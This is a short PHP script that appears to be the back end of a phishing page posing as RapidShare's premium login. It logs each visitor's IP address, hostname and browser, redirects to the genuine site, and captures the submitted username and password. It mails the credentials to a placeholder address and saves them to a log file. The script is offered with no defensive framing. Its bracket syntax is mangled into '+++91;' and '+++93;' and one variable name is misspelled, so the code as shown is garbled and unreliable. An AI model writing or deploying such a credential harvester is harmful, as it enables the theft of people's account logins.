<?php
if (!file_exists('visitors.txt')) {
$iFileHandler = fopen('visitors.txt','w');
} else {
$iFileHandler = fopen('visitors.txt','a');
}
$datum = date("d.m.y");
$uhrzeit = date("H:i");
$time = "".$datum."\r\n".$uhrzeit."";
$line = "======================================";
fputs($iFileHandler, $_SERVER['REMOTE_ADDR']."\r\n".gethostbyaddr($_SEVRER['REMOTE_ADDR'])."\r\n".$_SERVER['HTTP_USER_AGENT']."\r\n".$time."\r\n");
fclose($iFileHandler);
Header("Location: https://ssl.rapidshare.com/premzone.html");
$username = $_POST+++91;'username'+++93;;
$password = $_POST+++91;'password'+++93;;
$to = "E-Mail";
$subject = "Betreff";
$content = "Username: ".$username ."\r\nPassword: ".$password;
mail($to, $subject, $content);
$dir = "/";
$username = $_POST+++91;'username'+++93;;
$password = $_POST+++91;'password'+++93;;
$title = $username;
$content = "Username: ".$username ."\r\nPassword: ".$password;
$filename = $dir.$title.".log";
$handle = fopen($filename, "w");
fwrite($handle, $content);
fclose($handle);
?>